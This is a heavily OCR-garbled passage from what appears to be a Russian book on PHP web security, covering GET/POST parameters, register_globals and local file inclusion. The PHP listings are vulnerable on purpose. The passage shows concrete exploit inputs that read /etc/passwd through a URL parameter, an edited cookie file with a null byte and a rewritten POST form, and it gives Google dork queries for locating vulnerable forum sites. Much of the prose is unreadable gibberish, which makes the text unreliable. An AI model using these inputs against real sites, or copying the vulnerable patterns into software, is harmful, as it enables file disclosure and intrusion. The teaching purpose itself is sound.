B BHAE mma=3HaueHue. [lapameTpbl pasaeneHb Mexay coboil CHMBOAOM aMmmep-
caHpa "&".

Kak Bb! oymaere, asiserca Jid 3ToT MeToa 6e3onacHbiM? CoBeplueHHO HeT. Xake-
Py AOCTATOYHO NMpocTo 6ymeT uimMeHuThL N106oIH MapaMerp BpyuHYyIO U moaobparb
cro aaxke 6e3 u3MeHeHWs UCXOAHOro koma ¢opMmbl ANd OTINPaBKH I1apaMeTpOB.
Bo BpeMs nporpaMMYpOBaHHs CUEHAPWEB Bbl INOMKHBI COefaTh BCe Tak, 4ToObI
Xakepy ObUIO MaKCHManbHO CAOXKHO noabupaTh HyxHbie apameTpbl. Hanpumep,
CC/IM Yepe3 MEeTOA GET nepeaaeTcs napoJib, TO 3/1I0yMbILUIEHHUK CMOXET JIETKO €ro
HoaobpaTs.

Bropas npobiaema Takoro mMeroga — OTKPLITOCTb. OMNATH Jke, pACCMOTPHM [IPHMOP
¢ naponeMm. Ecnu nons3osatens BBen naposib W 3auies B 3awduieinyio ofsacthb
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Web-caiita, To 3TOT nmaposnb 6yaetr Haxoautbes B cTpoke URL. JIio6o#t Mumo npo-
XOAAIKH YenoBek cMOXKET 6€3 npobJieM yBHIAETb 3Ty CTPOKY H Mapoib.

Hukorna He nepenasaiiTe BaXKHbI€ JaHHbIE METONOM GET, B 3TOM Cly4ae Jiyudile
HCIIONb30BaTh MeTod POST. Ho 3TO He 3HAauMT, YTO METOd GET HE HY)KEH COBCEM,
IMPOCTO K HEMY HYXHO MOAXOAUTb ¢ 0CO00H OCTOPOXKHOCTBIO H IIPOBEPATH JIHOObIE
OAHHBIE, KOTOPbIE MTOAYHYEHbI 3THM CHOCO6OM.

Korna HYXKHO UCNONb30BaTh GET:

0 koraa Bbl TOYHO YBEPEHbI, YTO YEpE3 NMapaMeTpbl HE NMEPEAAlOTCA BaXKHbIE AaH-
Hbl€;

(0 koraa 310 AeHCTBUTEAbHO YA00HO H HEOOX0oAUMO.

Korpa moxet BO3HHKHYTH HeoOxonumocTb? Camelii npocTeiiiunii BapHaHT: 0/b-
30BaTelb JODKEH HMETb BO3MOXHOCTbH HampaMylo obpatutbes k Web-cTpaHuue
6e3 npeaBapHTENbHOrO BBOAA [IapaMETPOB B OTACAbHONR hopme.

MeTon GET 4acTo UCMOIb3yeTca B NMapTHEPCKUX nporpammax. omycTUM, YTO BbI
3aperucTPHPOBAIMCH B KAYECTBE MMapTHEpPa MarasuHa Amazon (Www.amazon.com)
M JOJKHBI NOAYYaTh NPOLEHTHI OT 3aKa30B TOBAPOB, CAENAHHBIX 110 CChUIKE C Ba-
wero Web-caitra. Kak mara3sud y3Haer, YToO MoKymnaTenb MpUILe HMEHHO MO Ba-
wei ccouke? Cambii mpocTodf nMpuUMep — pa3sMecTHTh Ha cBoeM Web-caiite.
CCbUIKY Ha Amazon, B KOTOpOM Obi1 Ob1 napameTp B popmare GET, HACHTHDULIK-!
pylolMii Bac, Hanpumep, www.amazon.com?partner=flenov. B cueHapun Ha,
Web-cepsepe Amazon nposepsercs, €C/id MapaMeTp partner COACPKUT HMA 3ape-
rUCTPUPOBAHHOIO MapTHEPa, TO OTYUCAATL HA €ro CHeT NMPOLEHT OT 3aKa3aHHBIX
TOoBapoB. BHHMaHHUe, 3TO TONBKO NPUMED, KOTOPbIH HUKAK HE CBA3aH C peanbm,mj
nosioxkeHueM aena B pabore ¢ maprHepaMu Amazon.

A6conmoTHO 6e30MacHOro MeToaa Mepenady napameTpoB He CYLIECTBYET, HO Me-
TON GET CAUIIKOM MPOCT W M03BOAsET Xakepy nerko ucmonb3osath URL ang now
HCKA YA3BMMbIX MECT B BalUMX CLieHapHsax. Yem npowe HaitTH on6Ky, TeM GbicT
pee ee HaloyT, ¥ aaii Gor, ecnd He BOCMOAL3YIOTCA 3TOH OLIKOKOI B KOPLICTHBIX
Lensx.

Yem ewre ctpawHb 3anpochl GET? Ilpobiema kpoercd B NMOHMCKOBBIX CHCTEM
ocobeHHO B MOLIHOCTH nouckoso cucTembl Google. Her, 1 He npoTuB Tako
MOLLY, MTOTOMY 4TO OHa Heobxoauma, HO 4ToObI Ball Web-caiiT He okasaica no
yrpo30oii, Heo6X0AMMO YYHTBIBATb BCE BO3MOMHbIE Mpobaemsl.

Ho xsaTuT 0611uX ¢si0B, AaBaiiTe pacCMOTPUM 3TOT BONpOC noBHUMAaTenbHee. o
NYCTHM, Bbl Y3Ha/IH, YTO B Kakoi-11u00 cucTeme ynpasieHus Web-caiiTOM mossHs
nach ya3BUMOCTb. YTo 370 3a cucteMa? CyuiecTByeT MHOMXECTBO TUIATHBIX H 6eos
MJaTHLIX TOTOBBLIX NporpaMM, Hanuca€HHbix Ha PHP, Perl u apyrux ssbikax
v 1no3soasouMX co3aarh Web-caiit 6e3 ocobuix ycunui. Takue cucrembr MOryT
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P ]

BK/TIOYATh B ce6a rotosbie peanuzauui $opyMOB, rocTEBBIX KHHT, JIEHT HOBOCTEM
u 1. 1. Hanpumep, phpBB unu ikonboard, koTopbie o4eHb CHIBHO pacrpocTpaHe-
Hbl B UHTEpHETE,

Ecnu B KakoH-HHOyAb U3 TakMX CrEUManbHBIX MporpaMM HaifeHa KpUTHYECKas
YA3BUMOCTb U O Hell y3HaNnu Xxakepbl, To Bce Web-caiitei B IHTEpHETE, HCIIONB-
3yIOUIHE €€, MOABEPratoTCA OMacCHOCTH. bONbIIMHCTBO aAMUHHUCTPATOPOB HE MOA-
MUCAHBI HA HOBOCTH M HE OOHOBNAIOT Mcnoib3yeMbie Ha Web-cepeepe Qaiinbl
CLE€HApHEB, IMO3TOMY OCTaeTCA TOJIbLKO HAalTU HYXHbIH Web-calit U BOCnOAL30-
BaThbCA F'OTOBLIM PELICHUEM U1 OCYILECTB/IEHHA B3JIOMa.

Kak HalitTu Web-caiiter unn Qopymsbl, KOTOpbie cofepxkaT ya3BUMOCTb? OuveHb
npocto. Yawe scero cueHapuii xxepTsn MOXHO onpenenutb no URL. Hanpumep,
KOrga Bbi npocmarpuBaere Ha Web-caiite www.sitename.ru pasnen ¢opyma, uc-
noAb3yowero B kauectse asHxkka Invision Power Board, To cTpoka aapeca co-
JEPXKHT caeayIOLUH KOA:

http://www.sitename.ru/index.php?showforum=4

Tekcr "index.php?showforum=" Gyner BcTpeuarbcs Ha nw0boM Web-caiite, Hc-
noab3yowem ana ¢gopyma Invision Power Board. Yto6wl Halith Web-caiiThi, co-
nepkawde B URL naHHbIH TEKCT, HY)KHO BHIIONHWUTL B TOMCKOBOH cHcTeme
Google cnenytowmii 3anpoc:

inurl:index.php?showforum

MoryT ObITb U Apyrue mporpaMMbi, KOTOpbi€ MCIIONBL3YIOT 3TOT TeKeT. UTo6HI 0OT-
O6pocuTh HX, HyXHO ewe noOaBUTh MOUCK Kakoro-Hubyab PparmeHta U3 Web-
cTpaHHll. Hanpumep, no yMon4yauHio BHU3y kaxnoit Web-crpannus ¢popyma ecthb
noanuce "Powered by Invision Power Board(U)". KoneuHo xe, aaMuHucTparop
MOXET U3IMEHHTb HAAMUCh, HO B OOABIIMHCTBE cAy4aeB ee¢ He TporatoT. UMeHHO
TAKOH TEKCT MOXHO N0OaBUTHL B CTPOKY MOMCKA, W TOraa pesynbraToM OymyT
ToAbko Web-cTpaHHLbl HYXHOTO HaM ¢opyma. [Tonpo6yiiTe BLINOAHUTL Cieayto-
LMK 3a11poc:

Powered by Invision Power Board(U) inurl:index.php?showforum

Bui yBunute 6osiee 150 Toicay Web-caiiToB, pealH30BaHHBIX HA 3TOM CLICHAPHH.
‘Tenepb, ecnu mossuTca ya3BuMocTh B Invision Power Board, 10 BbI ierko Halinere
xepTBY. Hajlek0 He BCe agMHUHHCTPATOpPb! YCMEKT AUKBUAUPOBATH OLIHOKH,
# HekoTopble BoOOLE He 6yayT HX UCNPaBAATD.

H Bce xe, metoa GET HeoOxomuM. boasuwinHcTBO Web-caliToB COCTOUT He Oonee
ucm U3 10 daiinos cueHapues, KOTopsie 0TOOpaXalOT naHHbie HA Web-cTpaHuue,
B 3aBUCHMOCTH OT BblOOpa nonb3oBarens. Hanpumep, B3rngHeM na Bee ToT e URL
¢opyma: http:/www.sitename.ru/index.php?showforum=4. B panHoM ciny4ac
shivbiBaeTcA cueHapuii index.php, a B kayecTse napamerpa nepenaerca showforum
i wicno "4". Jlaxe He 3HaA UCXOAHOTO KOAA CLEHAPHA, MOXKHO JIOI'MJIATHCH, ‘ITO
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¢aiin cueHapus nomkeH nokasath Ha Web-cTpanuue ¢opyM, KoTopbiii HaeHTHDH-
uvposaH B 6ase naHHbIX MOA HOMepoM 4. B 3aBMCHUMOCTH OT HoMepa ¢opyma
Web-cTpaHuua 6yaeT BuraaaeTh no-pasHoMy.

A Temepb npeacTaBUM, uTO HOMep dopyMa OyaeT nepenaBarbca C MOMOLLIBIO Me-
ToMa POST. B 3Tom cryuae, kaxyto 661 Web-crpanuuy ¢opyMma Bbl He IPOCMATpH-
Band, URL O6yner Bbirnsners oauHakoBo: http://www.sitename.ruw/index.php.
3Ha4YHT, 0JIL30BATENb HE CMOXKET CO3/aTh 3aKIaAKy Ha HYXHYI0O Web-cTpaHHLLy.

[Tony4aercs, 4To METOAOM GET HY)XHO I€pPeaBaTh W TaKHe [apaMeTpbl, KOTOpbie
CMOTyT OAHO3HAYHO HACHTHOHUUpOBaTh Web-CTpaHuLly, HO NpPH 3TOM Heb3s
HapyllaTh MpaBHAa, YTO JAHHBLIE AOMKHbI ObITh 6€30MaCHBIMU U HE HOMKHbBI CO-
JepiKaTb BAXCHbBIX AAHHBIX.

3.4.2. Metogq POST

MexaHu3M UCnoNb30BAHKA METOAA POST HHYEM HE OTAHYaeTca OT GET. JlocTaTo4HO
TOJIbKO MOMEHATb UMA METOAA U Bail Koja Oyaer paborath 6€3 BHECEHUS NOMNONMHH-
TEbHLIX KOPPEKTHPOBOK, €C/AH Bbl HUCITIOJIb30BaIH AN OOCTYIMA K rapaMerpaM rijio-
HanbHbIe NEpeMEHHbIE, @ HE MACCUB $HTTP_GET_VARS (18 POST UCIIOAb3yeTCA ApY-
rol maccup). PaccMorpeHHbifi paHee npuMep, MCNOAL3YIOWMI METOd GET, IpH
UCIIONB30BaHUHU METOAA POST OyAeT BLINIAAETH CACAYIOLHM 00pa3om:
<form action="param.php" method="post">
User Name:

<input name="UserName">

<input type="hidden" name="Password" value"gwerty"'>
</form> '

[Ipy Mcrosib3oBaHHH MeTOAa POST B TEAO 3ampoca MoNajaloT H BCe apamMeTphl
B BUAE nap "UmMa=3HauyeHue". [IToMUMO 3TOro, 3HauUEeHHUA NMEpEMEHHbIX U UX UMEeHa
MornaaaloT B MacCHB SHTTP_POST_VARS. YToObl HE MucaTh Takoe MIMHHOE UMS,
MOXCHO HCTOJIb30BaTh NCEBIOHUM $_POST.

Hecmorpsa Ha TO, uT0o napametpsl He BUAHLI B ctpoke URL, npo6neMa He peluaercs
MOAHOCTBIO. JIOMyCTHM, YTO Bbl pa3spelIHM HCMONb30BaTh TNobanbHbIE MepeMeH-
Hble W UCTIONb3YETE UX U1 JOCTYNa K napaMeTpaM, Kak NOKa3aHO B MUCTHHTE 3.4.
CoxpaHMTe 3TOT koA B daiine ¢ umenem postparam.php.

<form action="postparam.php" method="post">
User Name: <input name="UserName">
<input type="hidden" name="Password" value="qwerty">
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</form>

<?php
if ($UserName<>"")
¢
print ("<P>Bame uMa nofjsb3oBaTens: ");
print ("$UserName") ;
print ("<P>[aponb: $Password");

}

?2>

B 3tom npumMepe u3 Qpopmbi nepeaaroTea napameTpsl MeTogoM posT. Ho HecmoTpa
Ha 3TO, Mbl MOXX€M BHIITOJHUTH 3ampoc craeayrouero suaa: http://192.168.77.1/
postparam.php?UserName=Flenov&Password=qwerty.

To ecTb MBI TIEpenaeM napameTphbl, Kak 3To AeaeTcs [IPpY METOE GET, W NpH 3TOM,
cueHapHii otpabotaer BepHo. [louemy? [Ipobnema kpoerca B rnobanbHbIX nepe-
MEHHBIX, KOTOpbie He pa3bUpaloTCa, KakOoi MeTod MbI MCMOAb3yeM, U HE 3aBUCAT
OT Hero. B 3TOM OTHOLUEHMH HUCIIOAb3DBAHHE MACCUBOB $HTTP_POST_VARS H
SHTTP_GET_VARS Oonee Ge3onacHo, MoTOMY YTO OHM NpHUBA3aHbl K Metony. Ecnu
61 Mbl O6pabaTbiBany napaMerpbl ¢ NMOMOLUBIO MACCHBA S$SHTTP_POST_VARS, TO
MpH MOMbITKE NMepenaTb lapaMeTpbl METOAOM GET 3aBepiuuiach Obl Heynauei,
MOTOMY 4TO TaKue [TapaMeTpbl NONajaloT B APYroil MacCHUB $HTTP_GET_VARS.

B nuctunre 3.5 mokaszaHO, KaKk MOXXHO MOJAYYHMTb HOCTYN K MapaMerpaM 4epes
MAacCHBELI, a TalOKEe 3alpeTUTL nepenayvy mapameTpos yepes ctpoky URL, T. e. mMe-
ToAoM GET. EcnM maccuB SHTTP_GET_VARS He MyCTOH, TO BbIMONHEHWE LMKIA
npepbiBaeTcs ¢ cooblIeHeM O HeBepHOM napaMeTpe.

<form action="arrayparam.php" method="post">

User Name: <input name="UserName">
<input type="hidden" name="Password" value="gwerty">

</ form>

- ?php
1f {count {(SHTTP_GET VARS)>0)
{

die("Hepephnit napameTp"):;
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if ($SHTTP_POST_VARS["UserName"]<>""}

{
print ("<P>Bame wmmMa nonb3oBaTeNIA: ")
print (SHTTP_POST _VARS|["UserName"]);
print ("<P>Bam naponb: ");
print (SHTTP_POST_VARS|"Password"]) ;

}

?>

3HauyeHHEe KHOIIKH TaKKE MOMNajaeT B nepeMeHHylo. Jlo 3TOro Mbl Bceraa Hamnpas-
Asnu naHHsie Web-cepBepy ¢ NOMOLIbIO HaxkaTug knaBuiud <Enter>, HO B peasb-
HbIX Mporpammax nydyiue Oyaer, ecnd Monb3oBaTeNb yBHAMT HA Web-cTpaHuue
KHOTIKY OTIIpaBkH, HaripuMep, Submit unu Go:

<form action="submitl.php" method="get">

User Name: <input name="UserName">

<input type="hidden" name="Password" value="gwerty">
<input type="submit" name="sub" value="Go">

</form>

<?php
if ($sub="Go")
{
print("<P>Sulmitted.....: $Sulmit");
}

?>

[Tpu 5TOM BbI AOMKHBI YYUTBIBATh, YTO Ha3BaHWE KHOMKH B CLUEHAPUH HE U3MEHSA-
etcs. Jlaxe npu nepsoi 3arpyske Web-cTpaHuisl, 10 TOro, Kak Nojb30BaTeNb Ha-
&l KHOMKY OTNPaBKH JaHHbIX, 3HaueHue yxxe pasHo "Go".

HecMoTpa Ha TO, 4TO MpPH HCMONBL3OBAHUM METOJa POST MapaMeTpbl HE BUIHbI
B ctpoke URL, He cTouT 3a0biBaTh, 4TO 3TH NapaMeTpbl He Oe3onacHbl. Takue
JaHHbIE TaKKe MOXKHO MoaupHUUPOBaTb, NpocTo TpebyeTca yyTh Oonbuse cTapa-
HHi1, HO 3TO He OCTaHOBHUT Xakepa. MeToasl POST HeoOX0aMMbl, KOTAa BbI flepe-
aaeTe napaMeTpbl, HO HE XOTHTE, 4To0b1 OHK oToOpaxkanucs B cTpoke URL, utobul
NOCTOPOHHHI He CMOT MX MPOUUTaTh C dkpaHa MoHHTOpa. Ho npu 3TOM Bbl JOJTXK-
Hbl YAENATH 3THM NapaMeTpaM He MeHbLUe BHUMaHWA W poOBepATh ha Jiobbie
OTKJIOHEHHA U HEONYCTUMbIE CHUMBOLI.
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3.4.3. YaA3BUMOCTb

Tenepb mocMOTPHM, Kak Xakep MOXKET HCIIONb30BATb ABTOMAaTHYECKYIO perucTpa-
UMIO TIEPEMEHHBIX B CBOMX KOPBICTHBIX UeAsX. JlonycTHM, YTO y HAac ecThb CLEHa-
pHii, npuBencHHbIH B nUCTHHTE 3.6.

<?
function checkparam($var)
{
Svar=preg_replace("/["*a-2z]/i"*, "", S$var);
return S$var;
}
if (isset($_GET('file']))
{ :
S_GET['file'] = checkparam($_GET(['file']);
$_GET('dir'] = checkparam($_GET['dir']);
}

?>

<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

< /HEAD>

<BODY>

<center><h3>Injection test</h3></center>

<hr>

<a href="param.php?dir=news&file=netutils">Read news</a>
<hr>

<7?
if (isset(S$file))
{
print($dir."/".sfile);
include($dir."/".sfile);
)

7>

< /BODY>
< /1ITML>
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[Tono6uuiii cueHapuii Mbi paccmartpuBanu panee (cM. pa3zd. 3.1). B kauectse mna-
paMeTpOB OH NOJIy4aeT ABE MEPEMEHHbIE METOAOM GET: UM AUPEKTOPUH H HUMA
¢aiina, KOTOpbie HYXKHO MOAKMOYHTD Yepe3 PYHKUHIO include. B camoMm Hauane
CLIeHapHsA MbI NPOBEpAEM [10J1y4aeMble MapaMeTpbl Ha OMNAacHbLIE CUMBOJIbI, HO TIPH
3TOM ofpalllaeMcs K HHM 4Yepe3 MaccHUB $_GET, a IIOTOM UCMOAb3yeM aBTOMaTHYe-
CKH 3aperucTpypoBaHHbie epeMeHHble $dir U $file. [To naee, 3TH nepeMeHHbIE
yaKe MPOBEPEHb!, HO 3TO He Tak. MaccHB U nepeMeHHble — 3T0 abCOAIOTHO pasHbie
BEIUH, HO 3TO HE3aMETHO HA MEPBBIHA BIrAAA. A €CAH NOAKOPPEKTHPOBATDL B CTPOKE
URL nepenasaembie AaHHBbIE, TO Mbl CMOXEM yBHAeTb Qaiin /etc/passwd. lleno
B TOM, YTO Ha 3allpPELUCHHbIE CHMBOJIbI TPOBEPAIOTCA TOABKO 3HAYCHHA B MacCHBE,
HO HE NMEpEMEHHbIE $dir U Sfile.

Ecnu BbI MpoBEpseTe AaHHBIE B MACCHBE $_GET, TO H UCNOABL3YHTE NaHHbIE HMEH-
HO U3 maccHBa. Eciu Bbl npoBepAeTe Ha HEKOPPEKTHbIC AAHHLIE 3apErUCTPHPO-
BAHHYIO MEPEMEHHYIO, TO HY)KHO WCMOAb30BaTh HMEHHO €€, HO HHKOTAa HE Yepe-
Ayiite o6a BapuaHTa.

3.4.4. ipyrne metoasbl

He 3abbiBaiiTe, YTO CyLIECTBYIOT U APYIrUe€ METOALI NOAYYEHHA AAHHBIX OT MOJb-
30BaTens, Harpumep, ¢ noMouibio Cookies. K 3TUM DaHHBIM TaKKe HYKHO OTHO-
CHTbCA OY€Hb aKKYpaTHO, MOTOMY UYTO Xakep MoxeT 6e3 npobiieM koppeKTHpOBaTh
M 3TH napameTph!.

HasaiiTe paccMOTpUM 3TO Ha npumepe. Hemuoro noaxoppekTupyem W3OHTBHIA
B 3TO#i riaBe NpUMep cLieHapus C 3arpy3koi ¢aiios, 4ToObI OH MOT MCIMO/AL30BATD
Cookies. KoHeuHo, 3TOT npuMep AaieK OT pealibHO UCIIOAb3yEMbIX, HO BCE )K€ XO-
pOlIO MMOKa3biBAeT, KAK XaKepbl MOTYT HCIIOAb30BaThb 3HAYEHHA, COXpaHAEMble
B Cookies.

HTak, ZoNyCcTHUM, YTO Y HAac ecTb KOJ, NPUBEIEHHLIN B JIUCTHHTrE 3.7.

<?
setcookie ("dir", "news", time()+5184000};
setcookie ("file", "netutils.html”, time()+5184000);

?>

<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
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< /HEAD>

<BODY>

<center><h3>Injection test</h3»></center>
<hr>

<?
if (isset(Sfile))
{
print($dir."/".5file);
include($dir."/".sfile);
}

?>

</BODY>
</HTML>

B camoMm Hauvane cuenapui sanucbiBaeT B Cookies ABa mapamerpa dir M file.
O6a oHH cOXpaHAIOTCA B CMNEUHATIM3IUPOBAHHOM (aitne Ha cropoHe knuenTa. [To-
clie 3Toro 3arpyxaercsa (aiin, nyTh K KOTOPOMY YKa3aH 4epes MEPeMEeHHbIe $dir
u $file. [Ipu nepsoii 3arpyske Web-CTpaHHLb!I OHA HHYEr0 HE OTOOPA3HT, IIOTOMY
YTO MEpPEMEHHbIE $dir U $file HE CYLIECTBYIOT. 3Ha4Y€HUA B 3TOT MOMEHT 3allH-
coiatotcs B Cookies, HO HE 3arpyaloTcs, T. K. COOTBETCTBYIOLIHE NEPEeMEHHbIE
He co3nadsbl. [Ipu cneayrowe# sarpyske Web-ctpanuusl Cookies yxe cyuecrsy-
I0T, W NepeMeHHbIe OyayT aBTOMAaTHYECKH CO3AAHbI.

[TporpaMMUCTB! JOCTATOYHO 4aCTO 6€30TBETCTBEHHO OTHOCATCA K 3HAYEHHSM, CO-
xpaHsembiM B Cookies. 3T0 ¥ NOHATHO, Be1b XaKepbl HE O4eHb JIIOOAT KOBLIPATHCA
TaM W peaxko HllyT B HUX owubku. Ho ecau kro-To Bcepbes 3aiimercs Web-
CalTOM, TO OH 0043aTENbHO NPOBEPHT BCE NMapaMeTpbi, B TOM YHCJ€ U COXpaHse-
Mbi€ Ha JMCKE MOoAb30BaTeNA.

Pacnonoxenne Cookies 3asucHT ot 6paysepa. Hanpumep, B Internet Explorer onw Ha-
xoaarca B C:\Documents and Settings\NNNNN\Cookies, rme NNNNN — 3710 uMsa
y4eTHO# 3anucH rons3osarens. [Tpumep Takoro daiina MoxxHO yBHaeTh Ha puc. 3.10.

B onHom caiine Cookies asa napamerpa, KOTOpbie pasaenfAOTCa CHMBOAOM 3BE3-
NoYKH. g HarngaHOCTH A HAPUCOBA rOPU3CHTANBHYIO Pa3I€THTEAbHYIO JTUHHIO,
Onun Cookies COCTOMT M3 HEeCKOAbKKMX napamerpoB. Bce ux paccMmarpuBaTh Het
CMbIC/a, OTOMY YTO HAaC HHTEPECYIOT NepBbie TPH:

1 umMmsa;
) snavenue,

0 anpec Web-cepsepa, ¢ kKoToporo 6u11 coxpateH napamerp.
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Puc. 3.10. Copepxnmoe caiina Cookies gns Internet Explorer

Cyumectsyer MHOXecTBO yTHIUT Ans Internet Explorer, ynpowatowmux peaaktupo-
Banue Cookies.

A B nocneaHee BpeMma 6onabilue npeanounrtaio paborate 8 OC Linux u 6paysepe
Mozilla. Ero Cookies xpauarcs B daiine ~/.mozilla/default/129byy2g.slt/
cookies.txt. [Ipumep Takoro ¢afina MOXHO yBHa€eTb Ha puc. 3.11.

OtkpbiBaem dain ¥ BHOUM, YTO KaKIAbli NapaMeTp 3anncbiBaeTCA B OAHY CTPOKY.
B camo#i nocneaHeH KOJIOHKE 3TOM CTPOKH HaXOAWTCH KaK pa3 3HauycHue, a B npea-
nocne,uﬂeﬁ KOJIOHKC HM4. HPOC’I‘O KOPPEKTHPYEM 3HAUYCHWUA, KAK [NOKa3aHO B CJiC-
AYIOWEM MNMpHMEDPE.

HTTP Cookie File

http://www.netscape.com/newsref/std/cookie_spec.html

This is a generated file! Do not edit.

To delete cookies, use the Cookie Manager.

3roT ¢ain creHepupoBaH. He penakTupymTe ero

S = O} | I I

Ina ynaneHus Cookies UCMonb3ynTe MeHeIxep

localhost FALSE / FALSE 1155826347 file netutils.html
localhost FALSE / FALSE 1155826347 dir /etc/passwd%00

Tenepsb nepesanyckaem Opay3ep (MHaue Bce 3HaueHHUs OyayT B3ATHI U3 KILIA, @ HE
u3 (aitna cookie.txt), sarpyxaem Web-cTpanuily M HacnakAaeMcs NMOAyYEHHLIM
pesynstatoM. Web-cTpaHuua cHoBa oToOpaxcaeT daiin naponei.
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Puc. 3.11. Mpumep coaepxumoro Cookies ana Gpaysepa Mozilla

3.4.5. UHnumnanmnsauuns nepeMeHHbIX

Cnenytomas npobnema Takke OCHOBaHa Ha aBTOMAaTH4eCKOHN perucTpauuu nepe-
MEHHBIX: €C/IH KaKafA-TO NepeMeHHad HE UMEeeT 3HaUeHUd O YMOAYaHHIO, TO XaKep
MOXKET UCMONL30BaTh €¢ B CBOoUX uensax. /lapadte nocMoTpuM Ha npuMep cLeHa-
pHs, NTpUBEAEHHOro B nucTuure 3.8. '

<HTML>

<HEAD>

<TITLE>Param test</TITLE>

< /HEAD>

<BODY>

~center><h3>Param test</h3></center>

~hr>

«form action="paraml.php" method="get">
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<select size="1" name="where">
<option value="1">News</option>
<option value="2">Download</option>
<option value="3">Story</option>
<option value="4">Contacts</option>
</select>

</font>

<input type="submit" value="Go">

</ form>
<hr>
<?
if (isset ($_GET|['where'l))
{
if ($_GET['where']==1)
$file = 'news/news.html’';

if (S_GET['where']==2)
$file = 'news/download.html’';

if (S_GET(['where']==3)
$file = 'news/story.html’;

if (S_GET[ 'where']==4)

$file = 'news/contacts.html’';

include({s$file);
}

7>

< /BODY>
</HTML>

CoxpaHuTte CoaepKuMoe 3Toro nycTuHra B ¢aiine paraml.php, u ecnu y Bac ectb
Web-cepeep, rae MoxHo BeinonHate PHP-cueHapuu, nonpobyiite ero Tam 3anyc-
TUTb (pHc. 3.12).
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Puc. 3.12. Tak BbIrNAAUT pe3ynbTaT BbINONHEHUA CLIEHAPUA

CueHapuii oroGpaxkaeT Ha 3KpaHe BbIMaJalOUUii CIMCOK, B KOTOPOM MOJIb30Ba-
TeNb MOXET BLIOpaTh HHTepecyroumit ero pasaen Web-caitita: News (HoBocth),
Download (ckauatn), Story (pacckassi) u Contacts (koHTakTsl). BbibpaH-
Hblii 3/IEMEHT BbITIAAAIOWEro CMMUCKA NepeaaeTcs CUEHApHIO B BUIe 4Yucaa OT |
no 4. ITonyuns 310 3HaueHHe yepe3 NapaMmMeTp where, CLIEHapHii NPOM3BOAUT
NMPOBEPKY, €CJIH MapameTp paseH |, TO B MepeMeHHYIO $£ile 3anMcaTh 3HaYCHHE
news/news.html, €C/IM NapaMeTp paBeH 2, TO B $file MOMNajaer 3Ha4YeHHE
news/download.html U T, A.

Uto 3pech MoxkeT ObiTh cTpawiHoro? Beapr nonyuyeHHble OT mons3oBarens AaH-
Hble HE WCMONbL3YITCS B (PYHKUHMH include? Ha nepBbifi BIrnsa Hu4ero, Ho
OMBITHBIA XaKep 3aMETHT OWIMOKY. A UTO ecliH uepe3 napaMeTp where MepPeAaTh
uucno 57 Takoe 3HayeHHe B CLIEHAPHHM HE MPEAYCMOTPEHO, a 3Ha4MT, MEpPEMEH-
Hag $file OKaXeTcs He NPOMHHULHANM3IWPOBAHHOW. Xaxkepy OCTaeTcs TONbKO
3aJaTh CBOE 3HauyeHHe 3Toi nepemeHHoi yepe3 URL u nonyunts HeoOxoauMbif
pe3yJibTar.

Ecau Bb1 xoTute yBuaerh ¢aiin /etc/passwd, To moctarouHo B crpoke URL yka-
3aTh: http://192.168.1.5/param1.php?where=6&file=/etc/passwd.

B napamerpe where s nepeaaio HECYLIECTBYIOLLEE 3HAYEHHE, a Yepes file CO3AAI0
lepeMeHHYI0 $file W Mepeaalo 34eCh HyXKHbIH MHe (aiin. PesynbTaT BLINOAHOHHUS
YTOro CLIEHApHs B BHIIE PHCYHKA A yXKe MPUBOANTS He Oyny, motoMy uto mo# ¢aiin
/etc/passwd Bbl ke, HABEPHOE, BblyYHIH HAH3YCTb.



110 nasa 3

[Tpobnema petuaerca asyma cnocobamu:

00 3anpeTHTb aBTOMATHUYECKOE CO3aHHE NIepeMeHHbIX. XOpoluuii crmocob ANg Ha-
YHHAIOMWMX IPOrPaMMHCTOB, KOTOpbIE HE UMEIOT MPHBBLIYKY WHULHATH3IHPO-
BaTh [IEPEMEHHbIE A0 HX HCITONIb30BAHUA,;

O nepen nposepkaMH if NPOUHHLHATH3UPOBATHL 3HAYEHHE MMEPEMEHHOIA.

‘Bropoii cniocob B BUAe kona 6yner BuITAAAETD CAEAYIOWHM 06pa3oM:
<?

if (isset($_GET('where']))

{

$file = ''; // MHMuManmMsaums
if ($_GET|'where']l==1)
$file = 'news/news.html';

if ($_GET['where']==2)
$file = 'news/download.html’;

?>

Bot Tak BoT 0Ha CTPOKa KoJa MOXET CAEC/1aTh Balll cueuapuﬁ 6e3onacHbIM.

B nandHoMm npumepe s ynpocun cebe 3apady, oToMy 4TO coaepkumoe GopMsi Tie-
penaeTcs METOAOM GET, T. €. yepe3 cTpoky URL. Tak mapameTpsl HaMHOro npotue
penakTHpOBaTh. A YTO €CAH MapaMeTp MepeaaeTcs METOAOM POST, T. €. 00baBae-
HUe QOPMBbI BHITIAOUT CNeAYIOUM 06pa3oM:

<form action="param_post.php" method="post">

[locne aToro B koae cueHapys H3MEHHM BCE BXOKAECHUA CTPOKH $_GET|[ ‘where')
Ha $_POST(['where'). Tenepsb, ecnu 3arpy3uTh 3TOT cueHapuii B Gpaysepe U Bbl-
6paTb kaxkoil-TO pa3zjzen B BhIMajaroLleM CMHUCKe, TO pe3yabTaT Oyder nepeaaH me-
TOAOM POST, a 3HA4YUT, Mbl ero He yBuauM B cTpoke URL. Kak xakep Oyner neiict-
BOBaTh B 3TOM cny4ae?

Ha oudenb npocto. Heobxoaumo 3arpy3ute Web-cTtpaHuly B Gpay3sepe u coxpa-
HHTb €€ Ha JIoKaNLHOM aKcke (B 6pay3sepe Internet Explorer suiGpats Metio Paiin |
Coxpanntb xak). CoxpaHseMm U OTKpbiBacM ¢aiin B JIOOOM TEKCTOBOM pemaKTO-
pe, Hanpumep, B baokHoTe. Teneps HaxoauM H pegakTHpyem ¢GOpMY OTIpaBKH
nauHeix Web-cepsepy (iucTHHT 3.9).
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<form action="http://192.168.1.5/param_post.php?file=/etc/passwd"
method="post">

<select size="1" name="where">
<option value="5">News</option>
<option value="2">Download</option>
<option value="3">Story</éption>
<option value="4">Contacts</option>
</select>

</font>

<input type="sulmit" value="Go">

</ form>

[TepBoe, 4To HEOOGXOAMMO cAeNaTh — MOANpPABHTEL NapaMeTp action. Heo6xoau-
Mo yka3atk noaubiii URL x daiiny cuenapus va Web-cepsepe u nobaeuts napa-
MeTp file ¢ HeOOXOOUMBIM HaM dalnoMm.

Tenepb penakTupyem kakoil-HWOyab demMeHT cniucka Bbibopa. Hanpumep, B nau-
HOM ciy4ae A TMOANpaBHN B TpeTbel CTpoke cTpoky News, ykasas B napametpe
